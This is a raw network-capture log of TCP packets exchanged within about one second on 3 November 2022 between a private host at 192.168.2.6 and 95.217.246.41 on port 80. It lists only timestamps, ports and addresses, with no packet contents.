Nov 3, 2022 12:47:20.835309029 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835325003 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835335016 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835351944 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835360050 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835380077 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835386038 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835407019 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835412979 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835433006 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835436106 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835458994 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835467100 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835485935 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835494995 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835511923 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835517883 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835540056 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835546017 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835566044 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835572004 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835592031 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835598946 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835618973 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835622072 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835644960 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835650921 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835670948 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835675955 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835696936 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835701942 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835722923 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835726023 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835750103 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835757017 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835774899 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835779905 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835800886 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835805893 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835827112 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835832119 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835853100 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835856915 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835879087 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835886955 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835906029 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835910082 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835932016 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835937023 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835958958 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835962057 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.835984945 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.835990906 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836011887 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836015940 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836036921 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836044073 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836065054 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836069107 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836096048 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836096048 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836123943 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836127996 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836148977 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836153984 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836175919 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836182117 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836200953 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836205959 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836226940 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836231947 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836252928 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836261034 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836278915 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836283922 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836304903 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836322069 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836338997 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836360931 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836365938 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836373091 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836395025 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836402893 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836421967 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836438894 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836447954 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836457968 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836484909 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836519957 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836549997 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836570978 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836577892 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836586952 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836607933 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836628914 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836647987 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836674929 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836715937 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836716890 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836730003 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836756945 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836759090 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836779118 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836786985 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836796045 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836813927 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836824894 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836841106 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836848974 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836867094 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836877108 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836894989 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836904049 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836921930 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836930037 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836950064 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836961031 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.836977005 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.836982965 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.837004900 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837013960 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.837032080 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837035894 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.837060928 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837068081 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.837089062 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837100029 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.837115049 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837121964 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.837141991 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837150097 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.837168932 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837178946 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.837194920 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837203026 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.837220907 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837230921 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.837249041 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837256908 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.837275982 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837280989 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.837301970 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837310076 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.837340117 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837359905 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837378979 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837399960 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837419987 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837440968 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837467909 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837474108 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.837493896 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837496996 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.837521076 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.837522030 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837533951 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.837548971 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837554932 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.837578058 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837588072 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.837604046 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837613106 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.837630987 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837634087 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.837657928 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837666035 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.837685108 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837687016 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.837712049 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837721109 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.837738991 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837748051 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.837765932 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837769985 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.837793112 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837812901 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837831974 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837853909 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.837857962 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837873936 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.837886095 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837912083 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837938070 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.837964058 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.837980986 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.850423098 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.850963116 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.877557039 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.877629995 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.888706923 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.888741016 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.888758898 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.888781071 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.888817072 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.888956070 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.888976097 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.888993979 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889003038 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889014006 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889028072 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889030933 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889043093 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889055967 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889075041 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889087915 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889100075 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889106035 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889125109 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889137030 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889144897 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889159918 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889164925 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889177084 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889184952 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889190912 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889206886 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889211893 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889221907 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889235020 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889249086 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889266014 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889282942 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889307976 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889308929 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889327049 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889337063 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889345884 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889368057 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889390945 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889396906 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889415979 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889420033 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889440060 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889461994 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889483929 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889484882 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889484882 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889484882 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889508963 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889512062 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889534950 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889550924 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889550924 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889560938 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889571905 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889588118 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889604092 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889616966 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889635086 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889643908 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889656067 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889667988 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889689922 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889693022 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889713049 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889719963 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889743090 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889744043 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889769077 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889774084 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889795065 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889817953 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889820099 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889827013 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889839888 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889842987 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889859915 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889863968 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889877081 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889895916 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889908075 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889925957 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889926910 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889926910 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889940023 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889959097 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889970064 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889980078 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.889990091 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.889997959 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890000105 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890017986 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890036106 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890041113 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890055895 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890063047 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890079021 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890085936 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890098095 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890113115 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890117884 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890125990 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890136957 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890145063 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890157938 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890177011 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890188932 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890188932 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890197992 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890221119 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890223980 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890244961 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890247107 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890273094 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890274048 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890312910 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890315056 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890331030 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890341043 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890351057 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890357018 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890364885 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890372038 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890391111 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890403032 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890403986 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890425920 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890430927 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890444040 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890455961 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890461922 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890480995 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890485048 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890500069 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890515089 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890521049 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890539885 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890542984 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890558004 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890569925 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890577078 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890595913 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890599012 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890614033 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890625954 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890631914 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890645027 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890650988 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890666962 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890669107 CET	80	49708	95.217.246.41	192.168.2.6
